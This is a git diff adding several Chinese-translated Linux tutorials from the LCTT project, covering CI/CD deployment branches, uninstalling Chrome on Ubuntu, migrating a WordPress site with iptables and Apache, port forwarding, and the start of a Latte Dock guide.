环境,使用的部署描述符是该环境中新创建的部署分支的部署描述符 + +![deployment branching tree][4] + +*图 1:部署分支树* + + 1. 部署分支 + 2. 下游环境的第一个部署分支,只有一次提交 + 3. 下游环境的第二个部署分支,只有一次提交 + +有了部署分支这个解决方案,再回顾下上面的场景 C 和场景 D: + +**场景 C** 修改已经部署到下游 SDLC 环境中的镜像的部署描述符 + +**场景 D** 修复某个 SDLC 环境中部署描述符的错误 + +两个场景中,工作流如下: + + 1. 把对部署描述符做的修改提交到 SLDC 环境和镜像对应的部署分支 + 2. 通过部署分支最新提交对应的部署描述符把镜像重新部署到 SLDC 环境 + +这样,部署分支彻底解决了(存储着代表一次独一无二的构建的单一的、不可修改的镜像的)镜像仓库与(存储着对应一个或多个 SDLC 环境的可修改的部署描述符的)SCM 仓库之间的阻抗失配。 + +### 实践中的思考 + +这看起来像是行得通的解决方案,但同时它也为开发者和运维人员带来了新的实践中的问题,比如: + +A. 为了更好地管理部署分支,部署描述符作为资源应该保存在哪里,是否要与构建镜像的源码保存在同一个 SCM 仓库? + +到目前为止,我们都在避免谈论应该把部署描述符放在哪个仓库里。在还没有太多细节需要处理时,我们推荐把所有 SDLC 环境的部署描述符与镜像源码放在同一个 SCM 仓库。当部署分支创建后,镜像的源码可以作为方便找到部署的容器中运行的镜像的引用来使用。 + +上面提到过,可以通过镜像的标签来关联镜像与原始的源码提交。在一个单独的仓库中查找某次提交的源码的引用,会给开发者带来更大的困难(即便借助工具),这就是没有必要把所有资源都分开存储的原因。 + +B. 应该在部署分支上修改构建镜像的源码吗? + +简答:**不应该**。 + +详细阐述:不应该,因为永远不要在部署分支上构建镜像,它们是在开发分支上构建的。修改部署分支上定义一个镜像的源码会破坏被部署的镜像的构建记录,而且这些修改并不会对镜像的功能生效。在对比两个部署分支的版本时这也会成为问题。这可能会导致两个版本的功能差异有错误的测试结果(这是使用部署分支的一个很小的额外好处)。 + +C. 为什么使用镜像 标签tag标记label 不可以吗? + +通过 标签tag 可以在仓库中很容易地查找镜像,可读性也很好。在一组镜像中读取和查找 标记label 的值需要拉取所有镜像的清单文件manifest,而这会增加复杂度、降低性能。而且,考虑到历史记录的追踪和不同版本的查找,对不同版本的镜像添加 标签tag 也很有必要,因此使用源码提交哈希是保证唯一性,以及保存能即时生效的有用信息的最简单的解决方案。 + +D. 创建部署分支的最佳实践是怎样的? + +DevOps 最重要的三个原则:自动化、自动化、自动化。 + +依赖资源来持续地强迫遵循最佳实践,充其量只是碰运气,因此在实现镜像的升级、回滚等 CI/CD 流水线时,把自动化部署分支写到脚本里。 + +E. 对部署分支的命名规范有建议吗? + +<**部署分支标识**>-<**环境**>-<**源码提交哈希**> + + * **部署分支标识**: 所有部署分支范围内唯一的字符串;如 “deployment” 或 “deploy” + * **环境**: 部署分支适用的 SDLC 环境;如 “qa”(测试环境)、 “stg”(预生产环境)、 或 “prod”(生产环境) + * **源码提交哈希**: 源码提交哈希中包含原来构建被部署的镜像的源码,开发者可以通过它很容易地查找到创建镜像的原始提交,同时也能保证分支名唯一。 + +例如, `deployment-qa-asdf78s` 表示推到 QA 环境的部署分支, `deployment-stg-asdf78s` 表示推到 STG 环境的部署分支。 + +F. 你怎么识别环境中运行的哪个镜像版本? + +我们的建议是把最新的部署分支提交哈希和源码提交哈希添加到 [标记][5] 中。开发者和运维人员可以通过这两个独一无二的标识符查找到部署的所有东西及其来源。在诸如执行回滚或前滚操作时,使用那些不同版本的部署的选择器也能清理资源碎片。 + +G. 什么时候应该把部署分支的修改合并回开发分支? + +这完全取决于开发团队。 + +如果你修改的目的是为了做负载测试,只是想验证什么情况会让程序崩溃,那么这些修改不应该被合并回开发分支。另一方面,如果你发现和修复了一个错误,或者对下游环境的部署做了调整,那么就应该把部署分支的修改合并回开发分支。 + +H. 有现成的部署分支示例让我们试水吗? + +[el-CICD][6] 已经在生产上使用这个策略持续一年半应用到超过一百个项目了,覆盖所有的 SDLC 环境,包括管理生产环境的部署。如果你可以访问 [OKD][7]、Red Hat OpenShift lab cluster 或 [Red Hat CodeReady Containers][8],你可以下载[el-CICD 的最新版本][9],参照 [教程][10] 来学习部署分支是何时以怎样的方式创建和使用的。 + +### 结语 + +通过实践上面的例子可以帮助你更好的理解开发过程中阻抗失配相关的问题。对齐镜像和部署描述符是成功管理部署的关键部分。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/8/impedance-mismatch-cicd + +作者:[Evan "Hippy" Slatis][a] +选题:[lujun9972][b] +译者:[lxbwolf](https://github.com/lxbwolf) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/hippyod +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/gears_devops_learn_troubleshooting_lightbulb_tips_520.png?itok=HcN38NOk "Tips and gears turning" +[2]: https://kubernetes.io/docs/concepts/workloads/controllers/deployment/ +[3]: https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/ +[4]: https://opensource.com/sites/default/files/picture1.png +[5]: https://kubernetes.io/docs/concepts/overview/working-with-objects/labels/ +[6]: https://github.com/elcicd +[7]: https://www.okd.io/ +[8]: https://cloud.redhat.com/openshift/create/local +[9]: https://github.com/elcicd/el-CICD-RELEASES +[10]: https://github.com/elcicd/el-CICD-docs/blob/master/tutorial.md diff --git a/published/202203/20210903 How to Completely Uninstall Google Chrome From Ubuntu.md b/published/202203/20210903 How to Completely Uninstall Google Chrome From Ubuntu.md new file mode 100644 index 0000000000..14184ea82f --- /dev/null +++ b/published/202203/20210903 How to Completely Uninstall Google Chrome From Ubuntu.md @@ -0,0 +1,97 @@ +[#]: subject: "How to Completely Uninstall Google Chrome From Ubuntu" +[#]: via: "https://itsfoss.com/uninstall-chrome-from-ubuntu/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14368-1.html" + +如何从 Ubuntu 中彻底卸载 Google Chrome +====== + +现在,你已经成功地 [在 Ubuntu 上安装 Google Chrome][1]。毕竟,它是世界上最受欢迎的网页浏览器了。 + +但是,你可能会不喜欢 Google 的产品,因为它们对用户的信息进行追踪和数据挖掘。你决定选择 [Ubuntu 上的其他网页浏览器][2],并且它或许是一个 [非 Chromium 核心的浏览器][3]。 + +既然你已经不再使用 [Google Chrome][4] 了,那么,把它从 Ubuntu 系统中移除是一个明智的选择。 + +如何才能做到这一点呢?我来告诉你具体的步骤。 + +### 从 Ubuntu 中完全移除 Google Chrome + +![Illustration for removing Google Chrome from Ubuntu][5] + +你可能使用了图形界面的方式安装 Google Chrome,但不幸的是,你得使用命令行的方式来移除它,除非你选择 [使用 Synaptic 软件包管理器][6]。 + +使用命令行来做这件事也不是很难。首先,按下 [键盘上的 Ctrl+Alt+T 快捷键来打开一个终端][7]。 + +在终端中输入下面的命令: + +``` +sudo apt purge google-chrome-stable +``` + +此时它会向你索要一个密码,这个密码是你的用户账户密码,也就是你用来登录 Ubuntu 系统的密码。 + +当你输入密码的时候,屏幕上什么也不会显示。这是 Linux 系统的正常行为。继续输入密码,完成后按下回车键。 + +此时它会让你确认是否删除 Google Chrome,输入 `Y` 来确认,或者直接按下回车键也行。 + +![Removing Google Chrome for Ubuntu][8] + +这个操作会从你的 Ubuntu Linux 系统中移除 Google Chrome,同时也会移除大多数相关的系统文件。 + +但是,你的个人设置文件仍然保留在用户主目录中。它包含了 Cookie、会话、书签和其他与你的账户相关的 Chrome 设置信息。当你下次安装 Google Chrome 时,这些文件可以被 Chrome 再次使用。 + +![Google Chrome leftover settings in Ubuntu][9] + +如果你想要彻底地移除 Google Chrome,你可能会想要把这些文件也移除掉。那么,下面是你需要做的: + +切换到 `.config` 目录。 **注意 config 前面有个点**`,这是 [Linux 隐藏文件和目录的方式][10]。 + +``` +cd ~/.config +``` + +然后移除 `google-chrome` 目录: + +``` +rm -rf google-chrome +``` + +![Removing the leftover Google Chrome settings from Ubuntu][11] + +你也可以仅使用一个命令 `rm -rf ~/.config/google-chrome` 来删除它。因为本教程面向的对象是完完全全的初学者,所以我把这个命令拆分为以上两个步骤来完成,这样可以减少由于拼写问题造成的可能错误。 + +> 小技巧 +> +> 想要你的终端和截图里看起来一样漂亮吗?试试这些 [终端定制小技巧][12]。 + +我希望这篇快速的入门技巧可以帮助你在 Ubuntu 上摆脱 Google Chrome。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/uninstall-chrome-from-ubuntu/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/install-chrome-ubuntu/ +[2]: https://itsfoss.com/best-browsers-ubuntu-linux/ +[3]: https://itsfoss.com/open-source-browsers-linux/ +[4]: https://www.google.com/chrome/index.html +[5]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/09/removing-google-chrome-ubuntu.png?resize=800%2C450&ssl=1 +[6]: https://itsfoss.com/synaptic-package-manager/ +[7]: https://itsfoss.com/open-terminal-ubuntu/ +[8]: https://itsfoss.com/wp-content/uploads/2021/09/remove-google-chrome-ubuntu.webp +[9]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/09/google-chrome-ubuntu-leftover-settings.png?resize=800%2C518&ssl=1 +[10]: https://itsfoss.com/hide-folders-and-show-hidden-files-in-ubuntu-beginner-trick/ +[11]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/09/remove-google-chrome-leftover-settings-from-Ubuntu.png?resize=800%2C277&ssl=1 +[12]: https://itsfoss.com/customize-linux-terminal/ diff --git a/published/202203/20210908 How I migrated a WordPress website to a new host.md b/published/202203/20210908 How I migrated a WordPress website to a new host.md new file mode 100644 index 0000000000..92f46cc919 --- /dev/null +++ b/published/202203/20210908 How I migrated a WordPress website to a new host.md @@ -0,0 +1,273 @@ +[#]: subject: "How I migrated a WordPress website to a new host" +[#]: via: "https://opensource.com/article/21/9/migrate-wordpress" +[#]: author: "David Both https://opensource.com/users/dboth" +[#]: collector: "lujun9972" +[#]: translator: "lxbwolf" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14371-1.html" + +如何把 WordPress 网站迁移到新主机 +====== + +> 使用这个简单的方法来迁移一个网站以及管理防火墙配置。 + +![(https://img.linux.net.cn/data/attachment/album/202203/19/124316krzvxcr4ff2kr2ji.jpg)] + +你有过把一个 WordPress 网站迁移到一台新主机上的需求吗?我曾经迁移过好多次,迁移过程相当简单。当然,的的市场时候我都不会用通用的推荐方法,这次也不例外 —— 我用更简单的方法,这才是我推荐的方法。 + +这个迁移方法没有破坏性,因此如果出于某些原因你需要还原到原来的服务器上,很容易可以实现。 + +### 一个 WordPress 网站的组成部分 + +运行一个基于 [WordPress][2] 的网站有三个重要组成部分:WordPress 本身,一个 web 服务器,如 [Apache][3](我正在用),以及 [MariaDB][4]。MariaDB 是 MySQL 的一个分支,功能相似。 + +业界有大量的 Web 服务器,由于我使用了 Apache 很长时间,因此我推荐用 Apache。你可能需要把 Apache 的配置方法改成你用的 Web 服务器的方法。 + +### 初始配置 + +我使用一台 Linux 主机作为防火墙和网络路由。在我的网络中 Web 服务器是另一台主机。我的内部网络使用的是 C 类私有网络地址范围,按 [无类别域间路由][5]Classless Internet Domain Routing(CIDR)方式简单地记作 192.168.0.0/24。 + +对于防火墙,相比于更复杂的 `firewalld`,我更喜欢用非常简单的 [IPTables][6]。这份防火墙配置中的一行会把 80 端口(HTTP)接收到的包发送给 Web 服务器。在 `/etc/sysconfig/iptables` 文件中,你可以在注释中看到,我添加了规则,把其他入站服务器连接转发到同一台服务器上合适的端口。 + +``` +# Reroute ports for inbound connections to the appropriate web/email/etc server. +# HTTPD goes to 192.168.0.75 +-A PREROUTING -d 45.20.209.41/255.255.255.248 -p tcp -m tcp --dport 80 \ + +  -j DNAT --to-destination 192.168.0.75:80 +``` + +我使用命名虚拟主机named virtual host来配置原来的 Apache Web 服务器,因为我在这个 HTTPD 实例上运行着多个网站。使用命名虚拟主机配置是个不错的方法,因为(像我一样)未来你可能会在运行其他的网站,这个方法可以使其变得容易。 + +`/etc/httpd/conf/httpd.conf` 中需要迁移的虚拟主机的网站相关部分请参考下面代码。这个片段中不涉及到 IP 地址的修改,因此在新服务器上使用时不需要修改。 + +``` + + ServerName www.website1.org + ServerAlias server.org + +DocumentRoot "/var/website1/html" + ErrorLog "logs/error_log" + ServerAdmin me@website1.org + + + Options Indexes FollowSymLinks + +AllowOverride None + Require all granted + + + +``` + +在迁移之前,你需要在 `httpd.conf` 的最顶端附近找到 `Listen` 声明并修改成类似下面这样。这个地址是服务器的真实私有 IP 地址,不是公开 IP 地址。 + +``` +Listen 192.168.0.75:80 +``` + +你需要修改新主机上 `Listen` 的 IP 地址。 + +### 前期工作 + +准备工作分为以下三步: + + * 安装服务 + * 配置防火墙 + * 配置 web 服务器 + +#### 安装 Apache 和 MariaDB + +如果你的新服务器上还没有 Apache 和 MariaDB,那么就安装它们。WordPress 的安装不是必要的。 + +``` +dnf -y install httpd mariadb +``` + +#### 新服务器防火墙配置 + +确认下新服务器上的防火墙允许访问 80 端口。你_每台_电脑上都有一个防火墙,对吗?大部分现代发行版使用的初始化配置包含的防火墙会阻止所有进来的网络流量,以此来提高安全等级。 + +下面片段的第一行内容可能已经在你的 IPTables 或其他基于防火墙的网络过滤器中存在了。它标识已经被识别为来自可接受来源的入站包,并绕过后面的其它 INPUT 过滤规则,这样可以节省时间和 CPU 周期。片段中最后一行标识并放行 80 端口新进来的请求到 HTTPD 的连接。 + +``` +-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT +<删节> +# HTTP +-A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT +``` + +下面的示例 `/etc/sysconfig/iptables` 文件是 IPTables 最少规则的例子,可以允许 SSH(端口 22)和 HTTPD(端口 80)连接。 + +``` +*filter +:INPUT ACCEPT [0:0] +:FORWARD ACCEPT [0:0] +:OUTPUT ACCEPT [0:0] +-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT +-A INPUT -p icmp -j ACCEPT +-A INPUT -i lo -j ACCEPT +# SSHD +-A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT +# HTTP +-A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT + +# Final disposition for unmatched packets +-A INPUT -j REJECT --reject-with icmp-host-prohibited +-A FORWARD -j REJECT --reject-with icmp-host-prohibited +COMMIT +``` + +在新服务器主机上我需要做的就是在 `/etc/sysconfig/iptables` 文件的防火墙规则里添加上面片段的最后一行,然后重新加载修改后的规则集。 + +``` +iptables-restore /etc/sysconfig/iptables +``` + +大部分基于红帽的发行版本,如 Fedora,使用的是 `firewalld`。我发现对于它的适用场景(如家用、小到中型企业)而言,它过于复杂,因此我不用它。我建议你参照 [firewalld 网页][9] 来向 `firewalld` 添加入站端口 80。 + +你的防火墙及其配置可能跟这个有些差异,但最终的目的是允许新 Web 服务器 80 端口接收 HTTPD 连接。 + +#### HTTPD 配置 + +在 `/etc/httpd/conf/httpd.conf` 文件中配置 HTTPD。像下面一样在 `Listen` 片段中设置 IP 地址。我的新 Web 服务器 IP 地址是 `192.168.0.125`。 + +``` +Listen 192.168.0.125:80 +``` + +复制(对应要迁移的网站的) `VirtualHost` 片段,粘贴到新服务器上 `httpd.conf` 文件的末尾。 + +### 迁移过程 + +只有两组数据需要迁移到新服务器 —— 数据库本身和网站目录结构。把两个目录打包成 `tar` 文档。 + +``` +cd /var ; tar -cvf /tmp/website.tar website1/ +cd /var/lib ; tar -cvf /tmp/database.tar mysql/ +``` + +把两个 tar 文件复制到新服务器。我通常会把这类文件放到 `/tmp` 下,这个目录就是用来做这种事的。在新服务器上运行下面的命令,把 tar 文档解压到正确的目录。 + +``` +cd /var ; tar -xvf /tmp/website.tar +cd /var/lib ; tar -xvf /tmp/database.tar +``` + +WordPress 的所有文件都在 `/var/website1` 下,因此不需要在新服务器上安装它。新服务器上不需要执行 WordPress 安装过程。 + +这个目录就是需要迁移到新服务器上的全部内容。 + +最后一步是启动(或重启)`mysqld` 和 `httpd` 服务守护进程。WrodPress 不是一个服务,因此不使用守护进程的方式来启动。 + +``` +systemctl start mysqld ; systemctl start httpd +``` + +启动之后,你应该检查下这些服务的状态。 + +``` +systemctl status mysqld +● mariadb.service - MariaDB 10.5 database server + Loaded: loaded (/usr/lib/systemd/system/mariadb.service; enabled; vendor preset: disabled) + Active: active (running) since Sat 2021-08-21 14:03:44 EDT; 4 days ago + Docs: man:mariadbd(8) + +https://mariadb.com/kb/en/library/systemd/ + Process: 251783 ExecStartPre=/usr/libexec/mariadb-check-socket (code=exited, status=0/SUCCESS) + Process: 251805 ExecStartPre=/usr/libexec/mariadb-prepare-db-dir mariadb.service (code=exited, status=0/SUCCESS) + Process: 251856 ExecStartPost=/usr/libexec/mariadb-check-upgrade (code=exited, status=0/SUCCESS) + Main PID: 251841 (mariadbd) + Status: "Taking your SQL requests now..." + Tasks: 15 (limit: 19003) + Memory: 131.8M + CPU: 1min 31.793s + CGroup: /system.slice/mariadb.service +└─251841 /usr/libexec/mariadbd --basedir=/usr + +Aug 21 14:03:43 simba.stmarks-ral.org systemd[1]: Starting MariaDB 10.5 database server... +Aug 21 14:03:43 simba.stmarks-ral.org mariadb-prepare-db-dir[251805]: Database MariaDB is probably initialized in /var/lib/mysql already, n> +Aug 21 14:03:43 simba.stmarks-ral.org mariadb-prepare-db-dir[251805]: If this is not the case, make sure the /var/lib/mysql is empty before> +Aug 21 14:03:44 simba.stmarks-ral.org mariadbd[251841]: 2021-08-21 14:03:44 0 [Note] /usr/libexec/mariadbd (mysqld 10.5.11-MariaDB) startin> +Aug 21 14:03:44 simba.stmarks-ral.org systemd[1]: Started MariaDB 10.5 database server. + +systemctl status httpd +● httpd.service - The Apache HTTP Server + Loaded: loaded (/usr/lib/systemd/system/httpd.service; enabled; vendor preset: disabled) + Drop-In: /usr/lib/systemd/system/httpd.service.d +└─php-fpm.conf + Active: active (running) since Sat 2021-08-21 14:08:39 EDT; 4 days ago + Docs: man:httpd.service(8) + Main PID: 252458 (httpd) + Status: "Total requests: 10340; Idle/Busy workers 100/0;Requests/sec: 0.0294; Bytes served/sec: 616 B/sec" + Tasks: 278 (limit: 19003) + Memory: 44.7M + CPU: 2min 31.603s + CGroup: /system.slice/httpd.service +├─252458 /usr/sbin/httpd -DFOREGROUND +├─252459 /usr/sbin/httpd -DFOREGROUND +├─252460 /usr/sbin/httpd -DFOREGROUND +├─252461 /usr/sbin/httpd -DFOREGROUND +├─252462 /usr/sbin/httpd -DFOREGROUND +└─252676 /usr/sbin/httpd -DFOREGROUND + +Aug 21 14:08:39 simba.stmarks-ral.org systemd[1]: Starting The Apache HTTP Server... +Aug 21 14:08:39 simba.stmarks-ral.org httpd[252458]: AH00112: Warning: DocumentRoot [/var/teststmarks-ral/html] does not exist +Aug 21 14:08:39 simba.stmarks-ral.org httpd[252458]: Server configured, listening on: port 80 +Aug 21 14:08:39 simba.stmarks-ral.org systemd[1]: Started The Apache HTTP Server. +``` + +### 最终的修改 + +现在所需的服务都已经运行了,你可以把 `/etc/sysconfig/iptables` 文件中 HTTDP 的防火墙规则改成下面的样子: + +``` +-A PREROUTING -d 45.20.209.41/255.255.255.248 -p tcp -m tcp --dport 80 \ +  -j DNAT --to-destination 192.168.0.125:80 +``` + +然后重新加载设置的 IPTables 规则。 + +``` +iptables-restore /etc/sysconfig/iptables +``` + +由于防火墙规则是在防火墙主机上,因此不需要把外部 DNS 入口改成指向新服务器。如果你使用的是内部 DNS 服务器,那么你需要把 IP 地址改成内部 DNS 数据库里的 A 记录。如果你没有用内部 DNS 服务器,那么请确保主机 `/etc/hosts` 文件里新服务器地址设置得没有问题。 + +### 测试和清理 + +请确保对新配置进行测试。首先,停止旧服务器上的 `mysqld` 和 `httpd` 服务。然后通过浏览器访问网站。如果一切符合预期,那么你可以关掉旧服务器上的 `mysqld` 和 `httpd`。如果有失败,你可以把 IPTables 的路由规则改回去到旧服务器上,直到问题解决。 + +之后我把 MySQL 和 HTTPD 从旧服务器上删除了,这样来确保它们不会意外地被启动。 + +### 总结 + +就是这么简单。不需要执行数据库导出和导入的过程,因为 `mysql` 目录下所有需要的东西都已经复制过去了。需要执行导出/导入过程的场景是:有网站自己的数据库之外的数据库;MariaDB 实例上还有其他网站,而你不想把这些网站复制到新服务器上。 + +迁移旧服务器上的其他网站也很容易。其他网站依赖的所有数据库都已经随着 MariaDB 的迁移被转移到了新服务器上。你只需要把 `/var/website` 目录迁移到新服务器,添加合适的虚拟主机片段,然后重启 HTTPD。 + +我遵循这个过程把很多个网站从一个服务器迁移到另一个服务器,每次都没有问题。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/9/migrate-wordpress + +作者:[David Both][a] +选题:[lujun9972][b] +译者:[lxbwolf](https://github.com/lxbwolf) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/dboth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_blue_text_editor_web.png?itok=lcf-m6N7 "Text editor on a browser, in blue" +[2]: https://wordpress.org/ +[3]: https://opensource.com/article/18/2/how-configure-apache-web-server +[4]: https://mariadb.org/ +[5]: https://opensource.com/article/16/12/cidr-network-notation-configuration-linux +[6]: https://en.wikipedia.org/wiki/Iptables +[7]: http://www.website1.org +[8]: mailto:me@website1.org +[9]: https://firewalld.org/documentation/howto/open-a-port-or-service.html diff --git a/published/202203/20210928 What is port forwarding.md b/published/202203/20210928 What is port forwarding.md new file mode 100644 index 0000000000..58e6211aea --- /dev/null +++ b/published/202203/20210928 What is port forwarding.md @@ -0,0 +1,99 @@ +[#]: subject: "What is port forwarding?" +[#]: via: "https://opensource.com/article/21/9/what-port-forwarding" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14415-1.html" + +端口转发简介 +====== + +> 本文介绍了几种端口转发最常见的使用场景。 + +![](https://img.linux.net.cn/data/attachment/album/202203/31/085031ezq55gmy15n5mgll.jpg) + +端口转发就是把网络流量从一个网络监听者(称为一个“端口”)发送到另一个上,无论这两个端口是否属于同一台电脑。在这里,端口不是某个物理实体,而是一个监听网络活动的软件程序。 + +当流量被定向发往到某个特定的端口,它会先到达一个路由器或是防火墙,亦或是其他的网络程序。它最终收到的响应可能会根据它想要通讯的端口来定义。比如,当你使用端口转发时,你可以捕获到发往 8080 端口的流量,然后把它转发到 80 端口。对于接收信号的原端口来说,这个新的目标端口可能和它在同一台设备上,也可能是在另一台设备上。我们在很多情况下都会用到端口转发,实现的方式也有很多。本文将介绍其中最常见的几种使用场景。 + +### 使用路由器来进行端口转发 + +如果你在把服务器架设在家里,那么你通常是不需要转发端口的。你的家庭路由器(通常是你从网络服务提供商Internet Service Provider(ISP)获得的 WiFi 设备)有一个内置的防火墙,它的作用是阻止外面的世界访问到你的家庭网络。通过使用端口转发,你可以允许某个指定端口的流量穿过路由器的防火墙,并发送到局域网中的某个指定的 IP 地址。 + +比如说,你架设了一个 [Minetest 服务][2],并想要邀请你的朋友们来试试。为了让他们能够“穿过”你的路由器,从而到达这个 Minetest 服务,你必须把路由器上的某个端口转发到托管 Minetest 服务的电脑上。Minetest 服务默认运行在 30000 端口。你可以把路由器的 30000 端口转发到你的电脑的 30000 端口上,或者你也可以随便转发到一个更简单的端口上,这样玩家们会更容易记住它。我发现,当使用 30000 端口的时候,人们时常会少数几个 0(特别是没有逗号分隔符的帮助时),所以我一般使用路由器的 1234 端口,然后把它转发到我内部的 30000 端口。 + +每个制造商的路由器接口都不一样,但是不管你用的是什么牌子的路由器,方法都是相同的。首先,你需要登录到你的路由器。 + +通常,路由器的 IP 地址和登录信息都会打印在路由器上,或者在是它的文档里。我有一个型号为 TP-Link GX90 的路由器,我在浏览器里访问 10.0.1.1 就可以登录它,但你的路由器可能是 192.168.0.1 或者其他的地址。 + +我的 GX90 路由器把端口转发功能称为“虚拟服务器virtual servers”,它是路由器的“NAT 转发”标签下的一个功能选项。NAT 的意思是 “网络地址转换Network Address Translation”。在其他路由器中,这个功能可能直接就叫做“端口转发”,或者叫“防火墙”、“服务”等。找到正确的功能选项可能需要花费一些时间,因此,你可能需要花点时间研究下你的路由器文档。 + +当你找到了路由器的端口转发设置,添加一个新规则,命名一个外部端口(在我的例子中是 1234)和一个内部端口(30000)。把外部端口转发到内部端口上,而内部端口绑定在你想要大家访问的电脑的 IP 地址上。如果你需要一些查询本机 IP 地址的帮助,你可以阅读 Archit Modi 写的 《[在 Linux 上如何查询本地 IP 地址][3]》。 + +![A sample port forwarding rule][4] + +*一个简单端口转发规则* + +(图片提供者是 Seth Kenlon,遵循 [署名-相同方式共享 4.0 国际][5] 协议) + +在这个例子中,访问家庭网络的 1234 端口的流量,都会被转发到了我的家庭服务器的 30000 端口上,后者的 IP 地址是 10.0.1.2。 + +在继续之前,先保存这个规则。 + +接下来,你需要知道你的家庭网络的公网 IP 地址是多少。你可以从 [ifconfig.me][6] 或者 [icanhazip.com][7] 上获得这个地址。你可以在浏览器中打开这两个网站的其中一个,也可以使用 [curl][8] 命令来获取到这个 IP。 + +``` +$ curl ifconfig.me +93.184.216.34 +``` + +现在,你的朋友们就可以在 Minetest 客户端里输入 `169.169.23.49:1234`,加入你的 Minetest 服务器啦。 + +### 使用防火墙来进行端口转发 + +系统管理员有时候需要转发访问服务器的流量。比如说,你可能想要接收来自 80 端口的流量,但是用户的服务却运行在 8065 端口。如果不进行端口转发的话,你的用户就不得不在输入浏览器的 URL 末尾,加上一个指定的端口号,例如 `example.com:8065`。大多数用户都不习惯于考虑端口的问题,所以你需要把访问网络通用的 80 端口的请求拦截下来,然后转发到你的网络应用的具体端口,这会给用户带来巨大的方便。 + +你可以在服务器上使用 [firewall-cmd][9] 来转发流量,它是访问 `firewalld` 后台进程的前端front-end命令。 + +首先,设置好你想要转发的端口和协议: + +``` +$ sudo firewall-cmd \ + --add-forward-port \ + port=80:proto=tcp:toport=8065 +``` + +为使修改永久生效,你需要加上 `--runtime-to-permanent` 选项: + +``` +$ sudo firewall-cmd --runtime-to-permanent +``` + +### 网络转发 + +在网络传输中,除了端口转发外,还有其他种类的转发forwarding形式,例如 IP 转发和代理等。当你熟悉了网络信息在路由时是怎么被处理的之后,你可以试试不同的转发形式(然后使用 `tcpdump` 或类似的工具)来看看哪一种最好、最符合你的需求。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/9/what-port-forwarding + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/connections_wires_sysadmin_cable.png?itok=d5WqHmnJ (Multi-colored and directional network computer cables) +[2]: https://opensource.com/alternatives/minecraft#minetest +[3]: https://opensource.com/article/18/5/how-find-ip-address-linux +[4]: https://opensource.com/sites/default/files/uploads/router-port-forward.jpg (A sample port forwarding rule) +[5]: https://creativecommons.org/licenses/by-sa/4.0/ +[6]: http://ifconfig.me +[7]: http://icanhazip.com +[8]: https://opensource.com/article/20/5/curl-cheat-sheet +[9]: https://www.redhat.com/sysadmin/secure-linux-network-firewall-cmd diff --git a/published/202203/20211204 How to Install and Use Latte Dock on Ubuntu and Other Linux Distributions.md b/published/202203/20211204 How to Install and Use Latte Dock on Ubuntu and Other Linux Distributions.md new file mode 100644 index 0000000000..317b94294e --- /dev/null +++ b/published/202203/20211204 How to Install and Use Latte Dock on Ubuntu and Other Linux Distributions.md @@ -0,0 +1,206 @@ +[#]: subject: "How to Install and Use Latte Dock on Ubuntu and Other Linux Distributions" +[#]: via: "https://itsfoss.com/install-use-latte-dock-ubuntu/" +[#]: author: "Pratham Patel https://itsfoss.com/author/pratham/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14340-1.html" + +如何安装和使用 Latte Dock +====== + +![](https://img.linux.net.cn/data/attachment/album/202203/09/091040v3n0vlxvt9a0zokx.jpg) + +你知道什么是“停靠区Dock” 吧,它通常是你的应用程序“停靠”的底栏,以便快速访问。 + +![][1] + +许多发行版和桌面环境都提供了某种停靠实现。如果你的发行版没有“停靠区Dock”,或者你想尝试一些新的停靠应用,Latte Dock 是一个不错的选择。它类似于 macOS 上的停靠区,每次你用鼠标悬停在任何停靠对象上时,都会有一个的抛物线动画。 + +在本教程中,我将告诉你如何在 Ubuntu 上安装 Latte Dock。我还会展示一些关于使用和定制 Latte Dock 的事情。 + +### 在 Ubuntu 上安装 Latte Dock + +[Latte Dock][2] 是一个流行的应用程序,可以从大多数 Linux 发行版的官方软件库中获得。也就是说你可以使用你的发行版的软件中心或软件包管理器来安装 Latte dock。 + +![Latte 